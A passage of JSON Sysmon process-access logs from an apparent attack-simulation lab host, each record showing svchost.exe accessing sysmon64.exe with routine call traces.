C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1251,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1252,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1253,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1254,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1255,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1256,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1257,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1258,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 